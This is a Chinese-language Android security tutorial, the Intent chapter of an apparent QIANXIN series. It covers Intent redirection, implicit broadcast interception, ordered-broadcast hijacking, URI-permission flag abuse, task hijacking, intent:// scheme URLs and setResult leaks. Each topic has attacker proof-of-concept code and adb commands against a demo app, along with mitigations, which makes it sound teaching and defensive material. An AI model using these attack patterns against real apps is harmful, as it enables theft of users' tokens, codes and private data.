18 KiB
Android移动安全第二章_Intent安全
QIANXIN Team 来源:https://forum.butian.net/share/4825
系列目录:
- Android 组件导出安全
- Android Intent 安全(本章)
- Android Binder 服务安全
- Android ContentProvider 安全
- Android WebView 安全
- Android UI 欺骗与钓鱼
- Android Deep Link 安全
- Android 广播安全
- Android PendingIntent 安全
- Android 系统设置安全
- Android SSRF 与网络安全
- Android 加密与数据存储安全
- Android 认证与证书校验
- Android Zip Slip 路径遍历
- Android Fragment Injection
- Android SELinux 与沙箱机制
1. 前言
在 Android 中,组件之间不能直接调用彼此的方法。它们通过 Intent(意图)来通信——一个组件创建一个 Intent 对象,描述"我想做什么"或"我想启动谁",然后交给系统去分发。
上一章我们看到,导出的组件可以被外部访问。但"访问"这个动作本身,就是通过 Intent 完成的。攻击者构造一个恶意 Intent 发给目标组件,组件收到后如果不加校验地处理其中的数据,漏洞就产生了。
Intent 相关的安全问题可以分为三个方向:
- 攻击者向受害 App 发送恶意 Intent(注入)
- 受害 App 发出的 Intent 被攻击者截获(泄露)
- 受害 App 把攻击者提供的 Intent 当作自己的去执行(重定向)
本章逐一展开。
2. Intent 基础
2.1 显式 Intent 与隐式 Intent
Intent 分为两种:
显式 Intent 明确指定了目标组件的包名和类名,系统直接将它发送给指定组件:
Intent intent = new Intent();
intent.setClassName("com.target.app", "com.target.app.PaymentActivity");
startActivity(intent);
隐式 Intent 不指定具体组件,而是描述一个动作(action),由系统根据已安装 App 的 intent-filter 匹配合适的组件来处理:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("https://example.com"));
startActivity(intent);
从安全角度看,这两种 Intent 的风险方向不同:
| 类型 | 风险方向 | 原因 |
|---|---|---|
| 显式 Intent | 注入风险 | 攻击者可以构造显式 Intent 直接发给导出组件 |
| 隐式 Intent | 泄露风险 | 任何 App 都可以注册匹配的 intent-filter 来拦截 |
2.2 Intent 的数据承载
一个 Intent 可以携带多种数据,这些数据都是攻击者在构造恶意 Intent 时可以控制的:
| 字段 | 说明 | 示例 |
|---|---|---|
| action | 动作标识符 | android.intent.action.VIEW |
| data | URI 数据 | content://contacts/1 |
| type | MIME 类型 | image/png |
| category | 类别标签 | android.intent.category.DEFAULT |
| extras | 键值对附加数据 | putExtra("url", "https://evil.com") |
| flags | 控制标志位 | FLAG_GRANT_READ_URI_PERMISSION |
| component | 目标组件 | com.app/.Activity |
其中 extras 是最常被利用的,因为它可以携带任意类型的数据(字符串、整数、数组、甚至另一个 Intent 对象),而且很多开发者会直接从 extras 中取值使用,不做校验。
2.3 Intent 的传递路径
理解 Intent 的传递路径有助于分析攻击面:
系统在中间做的权限检查主要是:接收方组件是否导出、发送方是否持有所需权限。但系统不会检查 Intent 中携带的数据内容是否安全——这完全是接收方自己的责任。
3. Intent 重定向(LaunchAnywhere)
3.1 原理
Intent 重定向是 Android 客户端漏洞中影响比较大的一类。它的核心模式是:
- 受害 App 的某个导出组件接收外部 Intent
- 从这个 Intent 的 extras 中取出一个嵌套的 Intent 对象(或用于构造 Intent 的参数)
- 用取出的 Intent 调用 startActivity() / startService() / sendBroadcast()
问题在于第 3 步:受害 App 是用自己的身份去执行这个 Intent 的。如果受害 App 是系统应用(UID 1000),那攻击者就相当于借用了系统权限去启动任意组件,包括那些未导出的、受权限保护的组件。
这就是"LaunchAnywhere"这个名字的由来——借助受害 App 的身份,启动任何地方的任何组件。
3.2 三种常见变体
变体 1:直接转发嵌套 Intent
最经典的模式。从 extras 中取出一个 Parcelable 类型的 Intent 对象,直接 startActivity:
Intent next = getIntent().getParcelableExtra("next_intent");
if (next != null) {
startActivity(next);
}
攻击者构造:
Intent inner = new Intent();
inner.setClassName("com.victim.app", "com.victim.app.InternalActivity");
Intent outer = new Intent();
outer.setClassName("com.victim.app", "com.victim.app.VulnActivity");
outer.putExtra("next_intent", inner);
startActivity(outer);
变体 2:从字符串参数构造 Intent
不直接传 Intent 对象,而是传组件名的字符串,由受害 App 自己构造 Intent:
String pkg = getIntent().getStringExtra("target_package");
String cls = getIntent().getStringExtra("target_class");
if (pkg != null && cls != null) {
Intent redirect = new Intent();
redirect.setClassName(pkg, cls);
startActivity(redirect);
}
这种变体在 ADB 测试时更方便,因为 am start 命令可以直接传字符串参数,但不方便传 Parcelable 对象。
演示 App 中的 VulnProxyActivity 同时支持变体 1 和变体 2。通过 ADB 用字符串参数启动未导出的 InternalTokenActivity:
adb shell am start -n com.demo.intentsecurity/.VulnProxyActivity \
--es target_package "com.demo.intentsecurity" \
--es target_class "com.demo.intentsecurity.InternalTokenActivity"
成功绕过 exported=false 限制,打开了内部 Token 管理页面:
变体 3:IntentSender / PendingIntent 中继
有些场景下,受害 App 不是直接 startActivity,而是通过 IntentSender 或 PendingIntent 间接执行。这种模式在系统服务中比较常见:
IntentSender sender = intent.getParcelableExtra("intent_sender");
if (sender != null) {
sender.sendIntent(context, 0, null, null, null);
}
3.3 Android 12+ 的缓解措施
从 Android 12 开始,系统对嵌套 Intent 做了一些限制:
- 如果一个 Intent 是从另一个 Intent 的 extras 中取出的,且目标组件未导出,系统会阻止启动并抛出异常
- 具体来说,
startActivity()会检查调用者是否有权限访问目标组件,而不是简单地信任调用者的 UID
但这个缓解不是万能的:
- 只对 startActivity 有效,sendBroadcast 和 startService 的限制较弱
- 如果目标组件本身是导出的,这个检查不起作用
- 系统应用(UID 1000)的调用仍然可以绕过部分限制
4. 隐式 Intent 信息泄露
4.1 原理
当 App 使用隐式 Intent 发送数据时,系统会在所有已安装 App 中匹配合适的接收者。如果攻击者的 App 注册了匹配的 intent-filter,就能截获这个 Intent 中携带的数据。
Intent intent = new Intent("com.victim.app.ACTION_SHARE_TOKEN");
intent.putExtra("auth_token", "eyJhbGciOiJIUzI1NiJ9...");
sendBroadcast(intent);
攻击者只需注册一个匹配的 Receiver:
<receiver android:name=".TokenStealer" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_SHARE_TOKEN" />
</intent-filter>
</receiver>
这个问题不限于广播。隐式 Intent 启动 Activity 时,如果有多个 App 匹配,系统会弹出选择器让用户选——但用户可能会选择攻击者的 App。隐式 Intent 启动 Service 在 Android 5.0+ 已被禁止,但广播仍然可以。
演示 App 中的 LeakySenderActivity 展示了这个问题。启动后它会通过隐式广播发送模拟的 auth token:
adb shell am start -n com.demo.intentsecurity/.LeakySenderActivity
页面上可以看到广播的 action 和携带的 token 数据。任何注册了 com.demo.intentsecurity.ACTION_TOKEN_UPDATE 的 App 都能收到这条广播。
4.2 有序广播的劫持
有序广播(Ordered Broadcast)是一种按优先级依次分发的广播。接收者可以修改广播内容,甚至终止广播的继续传递。
sendOrderedBroadcast(intent, null);
攻击者注册一个高优先级的 Receiver:
<receiver android:name=".Hijacker" android:exported="true">
<intent-filter android:priority="999">
<action android:name="com.victim.app.ACTION_VERIFY" />
</intent-filter>
</receiver>
public class Hijacker extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("verification_code");
Log.d("Hijacker", "Got code: " + code);
abortBroadcast();
}
}
优先级值(priority)范围是 -1000 到 1000,值越大越先收到。攻击者设置 999 就能抢在大多数合法 Receiver 之前处理广播。
4.3 Activity 选择器劫持
当隐式 Intent 匹配到多个 Activity 时,系统弹出选择器(Chooser)。攻击者可以注册一个看起来像合法应用的 Activity 来欺骗用户选择:
<activity
android:name=".FakeFileManager"
android:label="文件管理器"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.GET_CONTENT" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
用户在选择器中看到"文件管理器",可能会点击它,然后攻击者的 Activity 就获得了原本应该由合法应用处理的数据。
5. Intent Flag 滥用
5.1 FLAG_GRANT_READ_URI_PERMISSION
这个 flag 允许 Intent 的接收方临时获得对指定 URI 的读取权限,即使接收方没有对应的 ContentProvider 权限。
正常用途是文件分享:App A 把自己 ContentProvider 中的文件 URI 通过 Intent 发给 App B,同时带上这个 flag,App B 就能临时读取这个文件。
但如果受害 App 的导出组件存在 Intent 重定向漏洞,攻击者可以构造一个带有 FLAG_GRANT_READ_URI_PERMISSION 的 Intent,让受害 App 把自己 ContentProvider 的数据"授权"给攻击者:
Intent inner = new Intent();
inner.setData(Uri.parse("content://com.victim.app.provider/private_data"));
inner.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
inner.setClassName("com.attacker.app", "com.attacker.app.ReceiverActivity");
Intent outer = new Intent();
outer.setClassName("com.victim.app", "com.victim.app.VulnRedirectActivity");
outer.putExtra("next_intent", inner);
startActivity(outer);
受害 App 执行 startActivity(inner) 时,系统认为是受害 App 主动授权,攻击者的 ReceiverActivity 就获得了读取 content://com.victim.app.provider/private_data 的权限。
5.2 FLAG_ACTIVITY_NEW_TASK 与任务栈劫持
Android 的 Activity 是按"任务栈"(Task)组织的。每个任务栈是一组 Activity 的堆叠,用户按返回键时从栈顶依次弹出。
FLAG_ACTIVITY_NEW_TASK 会让目标 Activity 在一个新的任务栈中启动。配合 taskAffinity(任务栈亲和性,决定 Activity 属于哪个任务栈)属性,攻击者可以把自己的 Activity 插入到受害 App 的任务栈中:
<activity
android:name=".PhishingActivity"
android:taskAffinity="com.victim.app"
android:exported="true" />
Intent intent = new Intent(this, PhishingActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
当用户切换到受害 App 时,看到的可能是攻击者的钓鱼页面,因为它在同一个任务栈的栈顶。
5.3 其他值得关注的 Flag
| Flag | 作用 | 安全影响 |
|---|---|---|
| FLAG_GRANT_WRITE_URI_PERMISSION | 临时授予 URI 写权限 | 配合重定向可写入受害 App 数据 |
| FLAG_GRANT_PERSISTABLE_URI_PERMISSION | 持久化 URI 权限授予 | 权限不会在 Activity 结束后撤销 |
| FLAG_ACTIVITY_CLEAR_TASK | 清空目标任务栈 | 可清除受害 App 的 Activity 历史 |
| FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS | 从最近任务列表隐藏 | 隐藏攻击痕迹 |
6. Intent Scheme URL
6.1 什么是 Intent Scheme URL
Android 支持一种特殊的 URL 格式,可以直接编码一个 Intent:
intent:
这个 URL 可以通过 Intent.parseUri() 解析成一个 Intent 对象。如果 App 的 WebView 或 Deep Link 处理逻辑中使用了 Intent.parseUri() 且没有做过滤,攻击者就能通过一个 URL 触发任意 Intent。
6.2 解析过程
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
startActivity(intent);
这段代码的问题在于:URL 中可以编码 Intent 的几乎所有字段,包括 component、action、data、extras、flags。攻击者可以精确控制最终生成的 Intent。
6.3 常见的不安全处理
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.startsWith("intent://")) {
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
startActivity(intent);
return true;
}
return false;
}
安全的做法是在解析后移除敏感字段:
if (url.startsWith("intent://")) {
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
intent.setComponent(null);
intent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
startActivity(intent);
}
演示 App 中的 VulnWebViewActivity 加载了一个内置页面,其中包含一个 intent:// 链接。也可以通过 ADB 直接传入 intent:// URL:
adb shell am start -n com.demo.intentsecurity/.VulnWebViewActivity \
--es url "intent://dummy#Intent;component=com.demo.intentsecurity/.InternalTokenActivity;end"
WebView 拦截到 intent:// URL 后直接解析执行,成功启动了未导出的 InternalTokenActivity。内置演示页面如下:
点击链接后,WebView 解析 intent:// URL 并启动了内部 Token 页面:
7. setResult 数据回传泄露
7.1 原理
当 Activity A 通过 startActivityForResult() 启动 Activity B 时,B 可以通过 setResult() 把数据回传给 A。
如果 B 是一个导出的 Activity,攻击者可以直接用 startActivityForResult() 启动它,然后在 onActivityResult() 中接收 B 回传的数据:
public class TokenActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent result = new Intent();
result.putExtra("token", generateAuthToken());
setResult(RESULT_OK, result);
finish();
}
}
Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.TokenActivity");
startActivityForResult(intent, 1);
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (data != null) {
String token = data.getStringExtra("token");
}
}
7.2 容易忽略的场景
有些 Activity 不是在 onCreate 中直接 setResult,而是在用户操作后回传数据。比如一个文件选择器 Activity,用户选择文件后通过 setResult 返回文件 URI。如果这个 Activity 是导出的,攻击者可以启动它,等用户选择文件后获得文件 URI。
另一个场景是 Activity 在 finish 之前无条件调用 setResult。开发者可能认为"只有我自己的 App 会调用这个 Activity",但如果它是导出的,任何 App 都可以调用并获取返回数据。
演示 App 中的 VulnResultActivity 就是这种模式。启动后立即生成 token 并通过 setResult 回传,然后 finish:
adb shell am start -n com.demo.intentsecurity/.VulnResultActivity
adb logcat -s VulnResult
输出:
I VulnResult: Generated token: auth_1771677297791_secret
I VulnResult: Token set in result, finishing. Any caller gets this data.
虽然 ADB 无法直接接收 setResult 的数据,但任何通过 startActivityForResult() 启动它的 App 都能在 onActivityResult() 中拿到 token、user_role、session_id 等敏感信息。
8. 总结
Intent 是 Android 组件通信的核心,也是攻击者与目标 App 交互的主要手段。
回顾一下本章的几个方向:
- Intent 重定向(LaunchAnywhere):借用受害 App 身份启动任意组件,Android 12+ 有缓解但不完全
- 隐式 Intent 泄露:广播、Activity 选择器都可能被攻击者截获
- Flag 滥用:FLAG_GRANT_READ_URI_PERMISSION 配合重定向可以窃取 ContentProvider 数据
- Intent Scheme URL:WebView 中解析 intent:// URL 可能触发任意 Intent
- setResult 回传泄露:导出的 Activity 可能把敏感数据回传给攻击者
下一章讲 Android Binder 服务安全。Binder 是 Android IPC 的底层实现,系统服务、AIDL 接口都建立在它之上。我们会分析 Binder 的通信机制、系统服务的攻击面,以及 transaction code 调用的具体方法。
通过网盘分享的文件:intent.apk
链接: https://pan.baidu.com/s/19I4aWSMkLLNVw3y5tye34Q?pwd=iqgs 提取码: iqgs




